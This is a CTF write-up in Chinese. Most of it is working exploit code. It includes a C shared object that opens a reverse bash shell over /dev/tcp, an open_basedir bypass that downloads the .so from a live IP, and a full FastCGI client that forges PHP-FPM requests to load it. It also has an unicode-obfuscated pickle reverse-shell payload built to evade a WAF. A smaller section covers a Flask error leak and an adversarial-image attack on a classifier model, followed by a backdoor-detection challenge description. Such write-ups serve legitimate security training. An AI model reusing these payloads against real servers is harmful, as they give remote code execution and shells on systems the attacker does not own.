1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' , 1234 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' ) conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close()
在服务器上启动该脚本,随后我们就在服务器的1234号端口上启动了一个”FTP服务”
接下来,写一个c文件:
1 2 3 4 5 6 7 8 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("bash -c 'bash -i >& /dev/tcp/你的VPS/1233 0>&1'" ); }
内容就是,当被当作so文件加载时,反弹一个shell到1233端口
随后,编译为so
1 gcc evil.c -fPIC -shared -o evil.so
接下来起一个web服务(python3 -m http.server 8777)准备上传这个文件。因为服务器出网,这里使用copy函数。
1 /1.php?1=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://101.43.48.199:8777/evil.so","/tmp/evil.so");
可以看到传上去了
非常好!我们进行下一步。
接下来,我们构造一个恶意的fastcgi请求攻击fpm,让它加载我们的so文件。
使用网上的脚本构造即可。(参数给你改好了,只用改端口就行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 <?php class FCGIClient { const VERSION_1 = 1 ; const BEGIN_REQUEST = 1 ; const ABORT_REQUEST = 2 ; const END_REQUEST = 3 ; const PARAMS = 4 ; const STDIN = 5 ; const STDOUT = 6 ; const STDERR = 7 ; const DATA = 8 ; const GET_VALUES = 9 ; const GET_VALUES_RESULT = 10 ; const UNKNOWN_TYPE = 11 ; const MAXTYPE = self ::UNKNOWN_TYPE ; const RESPONDER = 1 ; const AUTHORIZER = 2 ; const FILTER = 3 ; const REQUEST_COMPLETE = 0 ; const CANT_MPX_CONN = 1 ; const OVERLOADED = 2 ; const UNKNOWN_ROLE = 3 ; const MAX_CONNS = 'MAX_CONNS' ; const MAX_REQS = 'MAX_REQS' ; const MPXS_CONNS = 'MPXS_CONNS' ; const HEADER_LEN = 8 ; private $_sock = null ; private $_host = null ; private $_port = null ; private $_keepAlive = false ; public function __construct ($host , $port = 9001 ) // and default value for port , just for unixdomain socket { $this ->_host = $host ; $this ->_port = $port ; } public function setKeepAlive ($b ) { $this ->_keepAlive = (boolean )$b ; if (!$this ->_keepAlive && $this ->_sock) { fclose ($this ->_sock); } } public function getKeepAlive ( ) { return $this ->_keepAlive; } private function connect ( ) { if (!$this ->_sock) { $this ->_sock = stream_socket_client ($this ->_host, $errno , $errstr , 5 ); if (!$this ->_sock) { throw new Exception ('Unable to connect to FastCGI application' ); } } } private function buildPacket ($type , $content , $requestId = 1 ) { $clen = strlen ($content ); return chr (self ::VERSION_1 ) . chr ($type ) . chr (($requestId >> 8 ) & 0xFF ) . chr ($requestId & 0xFF ) . chr (($clen >> 8 ) & 0xFF ) . chr ($clen & 0xFF ) . chr (0 ) . chr (0 ) . $content ; } private function buildNvpair ($name , $value ) { $nlen = strlen ($name ); $vlen = strlen ($value ); if ($nlen < 128 ) { $nvpair = chr ($nlen ); } else { $nvpair = chr (($nlen >> 24 ) | 0x80 ) . chr (($nlen >> 16 ) & 0xFF ) . chr (($nlen >> 8 ) & 0xFF ) . chr ($nlen & 0xFF ); } if ($vlen < 128 ) { $nvpair .= chr ($vlen ); } else { $nvpair .= chr (($vlen >> 24 ) | 0x80 ) . chr (($vlen >> 16 ) & 0xFF ) . chr (($vlen >> 8 ) & 0xFF ) . chr ($vlen & 0xFF ); } return $nvpair . $name . $value ; } private function readNvpair ($data , $length = null ) { $array = array (); if ($length === null ) { $length = strlen ($data ); } $p = 0 ; while ($p != $length ) { $nlen = ord ($data {$p ++}); if ($nlen >= 128 ) { $nlen = ($nlen & 0x7F << 24 ); $nlen |= (ord ($data {$p ++}) << 16 ); $nlen |= (ord ($data {$p ++}) << 8 ); $nlen |= (ord ($data {$p ++})); } $vlen = ord ($data {$p ++}); if ($vlen >= 128 ) { $vlen = ($nlen & 0x7F << 24 ); $vlen |= (ord ($data {$p ++}) << 16 ); $vlen |= (ord ($data {$p ++}) << 8 ); $vlen |= (ord ($data {$p ++})); } $array [substr ($data , $p , $nlen )] = substr ($data , $p +$nlen , $vlen ); $p += ($nlen + $vlen ); } return $array ; } private function decodePacketHeader ($data ) { $ret = array (); $ret ['version' ] = ord ($data {0 }); $ret ['type' ] = ord ($data {1 }); $ret ['requestId' ] = (ord ($data {2 }) << 8 ) + ord ($data {3 }); $ret ['contentLength' ] = (ord ($data {4 }) << 8 ) + ord ($data {5 }); $ret ['paddingLength' ] = ord ($data {6 }); $ret ['reserved' ] = ord ($data {7 }); return $ret ; } private function readPacket ( ) { if ($packet = fread ($this ->_sock, self ::HEADER_LEN )) { $resp = $this ->decodePacketHeader ($packet ); $resp ['content' ] = '' ; if ($resp ['contentLength' ]) { $len = $resp ['contentLength' ]; while ($len && $buf =fread ($this ->_sock, $len )) { $len -= strlen ($buf ); $resp ['content' ] .= $buf ; } } if ($resp ['paddingLength' ]) { $buf =fread ($this ->_sock, $resp ['paddingLength' ]); } return $resp ; } else { return false ; } } public function getValues (array $requestedInfo ) { $this ->connect (); $request = '' ; foreach ($requestedInfo as $info ) { $request .= $this ->buildNvpair ($info , '' ); } fwrite ($this ->_sock, $this ->buildPacket (self ::GET_VALUES , $request , 0 )); $resp = $this ->readPacket (); if ($resp ['type' ] == self ::GET_VALUES_RESULT ) { return $this ->readNvpair ($resp ['content' ], $resp ['length' ]); } else { throw new Exception ('Unexpected response type, expecting GET_VALUES_RESULT' ); } } public function request (array $params , $stdin ) { $response = '' ; $request = $this ->buildPacket (self ::BEGIN_REQUEST , chr (0 ) . chr (self ::RESPONDER ) . chr ((int ) $this ->_keepAlive) . str_repeat (chr (0 ), 5 )); $paramsRequest = '' ; foreach ($params as $key => $value ) { $paramsRequest .= $this ->buildNvpair ($key , $value ); } if ($paramsRequest ) { $request .= $this ->buildPacket (self ::PARAMS , $paramsRequest ); } $request .= $this ->buildPacket (self ::PARAMS , '' ); if ($stdin ) { $request .= $this ->buildPacket (self ::STDIN , $stdin ); } $request .= $this ->buildPacket (self ::STDIN , '' ); echo ('?file=ftp://101.43.48.199:1234/&data=' .urlencode ($request )); } } ?> <?php $filepath = "/var/www/html/index.php" ;$req = '/' .basename ($filepath );$uri = $req .'?' .'command=whoami' ;$client = new FCGIClient ("unix:///var/run/php-fpm.sock" , -1 );$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>" ; $php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = " ; $params = array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'POST' , 'SCRIPT_FILENAME' => $filepath , 'SCRIPT_NAME' => $req , 'QUERY_STRING' => 'command=whoami' , 'REQUEST_URI' => $uri , 'DOCUMENT_URI' => $req , 'PHP_VALUE' => $php_value , 'SERVER_SOFTWARE' => 'ctfking/Tajang' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9000' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'localhost' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , 'CONTENT_LENGTH' => strlen ($code ) ); echo $client ->request ($params , $code )."\n" ;?>
运行,拿到payload
随后上传一个靶子
1 2 3 4 5 6 <?php $file = $_GET['file'] ?? '/tmp/file'; $data = $_GET['data'] ?? ':)'; echo($file."</br>".$data."</br>"); var_dump(file_put_contents($file, $data)); ?>
把这玩意用so上传的同款方法传到/var/www/html/file.php,给我们当靶子用。
VPS启动nc监听1233端口。保持1234端口的“ftp”服务,拿着生成的payload访问file.php。接下来闭眼等待奇迹的发生……
这时候,你会突然发现自己1234的服务结束了,这说明恶意payload被传到了php fpm。它加载了你的so……
回到nc的监听一看,鱼儿已经上钩
ezUpload 题目是一个文件加解密系统,探测后发现可以上传TXT文件
尝试随便上传一个内容,发现加密后的内容疑似AES加密后的内容
扫描路由后发现存在hint路由,获取到内容VXBMT2FkX2VuY3I3UHQzZA==,BASE64解密后得到内容UpLOad_encr7Pt3d
进一步探测后,发现解密文件时存在pickle反序列化,因此构造pickle反序列化payload,将AES-ECB加密后的内容上传解密,但是存在WAF拦截,盲测后发现过滤内容如下:
1 if b'R' in data or b'i' in data or b'b' in data or b'o' in data or b'curl' in data or b'flag' in data or b'system' in data or b' ' in data:
最后就是个打pickle。unicode直接就绕了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadimport pickleimport base64def encrypt_data (data ): key = b'UpLOad_encr7Pt3d' cipher = AES.new(key, AES.MODE_ECB) padded_data = pad(data, AES.block_size) encrypted_data = cipher.encrypt(padded_data) return base64.b64encode(encrypted_data).decode('utf-8' ) payload = b'''V__\u0062u\u0069lt\u0069n__ Vmap \x93p0 0(]V\u0069mp\u006Frt\u0020s\u006Fcket,su\u0062pr\u006Fcess,\u006Fs;s=s\u006Fcket.s\u006Fcket(s\u006Fcket.AF_INET,s\u006Fcket.SOCK_ST\u0052EAM);s.c\u006Fnnect(("ip",port));\u006Fs.dup2(s.f\u0069len\u006F(),0);\u006Fs.dup2(s.f\u0069len\u006F(),1);\u006Fs.dup2(s.f\u0069len\u006F(),2);p=su\u0062pr\u006Fcess.call(["/\u0062\u0069n/sh","-\u0069"]); ap1 0((V__\u0062u\u0069lt\u0069n__ Vexec \x93g1 tp2 0(g0 g2 \x81tp3 0V__\u0062u\u0069lt\u0069n__ V\u0062ytes \x93p4 g3 \x81.''' print (encrypt_data(payload))
放txt里,上传文件解密反弹shell
FlagBot 首先需要触发flask的报错获取模型位置信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST / HTTP/2 Host: eci-2zeiziyefd5wgc0pij5t.cloudeci1.ichunqiu.com:5000 Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1749877414 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: https://eci-2zeiziyefd5wgc0pij5t.cloudeci1.ichunqiu.com:5000/?name= Content-Type: application/x-www-form-urlencoded Content-Length: 11 Origin: https://eci-2zeiziyefd5wgc0pij5t.cloudeci1.ichunqiu.com:5000 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers signature=1
本来signature这里是要放base64之后的图片的,这里直接改成1成功触发报错。触发flask报错的思路还有给参数赋空值,设置过大长度的参数,输入数据解码会报错等等。
泄露了部分源码和model的路径
访问https://eci-2zeiziyefd5wgc0pij5t.cloudeci1.ichunqiu.com:5000/model_AlexNet.pth,成功下载模型
使用得到的模型文件,以及文件名,制作对抗样本
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from PIL import Imagefrom io import BytesIOimport torchfrom torch import nnfrom torchvision import transformsfrom PIL import Imageimport werkzeug.exceptionsclass AlexNet (nn.Module): def __init__ (self, num_classes: int = 1000 , dropout: float = 0.5 ) -> None : super ().__init__() self .features = nn.Sequential( nn.Conv2d(3 , 64 , kernel_size=11 , stride=4 , padding=2 ), nn.ReLU(inplace=True ), nn.MaxPool2d(kernel_size=3 , stride=2 ), nn.Conv2d(64 , 192 , kernel_size=5 , padding=2 ), nn.ReLU(inplace=True ), nn.MaxPool2d(kernel_size=3 , stride=2 ), nn.Conv2d(192 , 384 , kernel_size=3 , padding=1 ), nn.ReLU(inplace=True ), nn.Conv2d(384 , 256 , kernel_size=3 , padding=1 ), nn.ReLU(inplace=True ), nn.Conv2d(256 , 256 , kernel_size=3 , padding=1 ), nn.ReLU(inplace=True ), nn.MaxPool2d(kernel_size=3 , stride=2 ), ) self .avgpool = nn.AdaptiveAvgPool2d((6 , 6 )) self .classifier = nn.Sequential( nn.Dropout(p=dropout), nn.Linear(256 * 6 * 6 , 4096 ), nn.ReLU(inplace=True ), nn.Dropout(p=dropout), nn.Linear(4096 , 4096 ), nn.ReLU(inplace=True ), nn.Linear(4096 , num_classes), ) def forward (self, x: torch.Tensor ) -> torch.Tensor: x = self .features(x) x = self .avgpool(x) x = torch.flatten(x, 1 ) x = self .classifier(x) return x model_path= './model_AlexNet.pth' model = AlexNet(num_classes=2 ) model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu' ), weights_only=True )) model.eval () image = torch.randint(0 , 2 , (1 , 1 , 300 , 600 )) / 1.0 image = torch.cat([image, image, image], dim=1 ) criterion = nn.CrossEntropyLoss() for _ in range (100000 ): image.requires_grad = True pred = model(image) loss = criterion(pred, torch.tensor([1 ], dtype=torch.long)) loss.backward() print (loss.item()) image.requires_grad = False grad = torch.sum (image.grad, dim=1 , keepdim=True ) for x in range (300 ): for y in range (600 ): if grad[0 , 0 , x, y] > 0 : image[0 , :, x, y] = 0. else : image[0 , :, x, y] = 1. transforms.ToPILImage()(image[0 ].detach().cpu()).save('flag.png' )
然后将图片base64编码后发送,注意用burp发包时要给base64之后再urlencode一下。
backdoor 小明找了一个第三方机构帮忙训练一个分类模型,数据集和模型框架都由小明来提供。在拿到练好的模型后,小明意外发现,自己的模型好像被别人植入了后门!目前,小明手上有练好后的模型架构和参数以及原始的数据集,他猜测,后门藏在了5-15号标签内,请你利用已有的资源帮他找出隐藏的后门!
神经网络后门攻击
主要考察的知识点是神经网络图像领域的后门攻击,目标是找出带后门的神经网络模型被污染的标签(target),并推演出攻击者留下后门时所使用的mask和trigger(也可以叫pattern)
相关算法有很多,可以参考复现这篇论文的算法:Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks
详细信息:
{B. Wang et al., “Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks,” 2019 IEEE Symposium on Security and Privacy (SP), San Francisco, CA, USA, 2019, pp. 707-723, doi: 10.1109/SP.2019.00031.}
Github代码地址:https://github.com/bolunwang/backdoor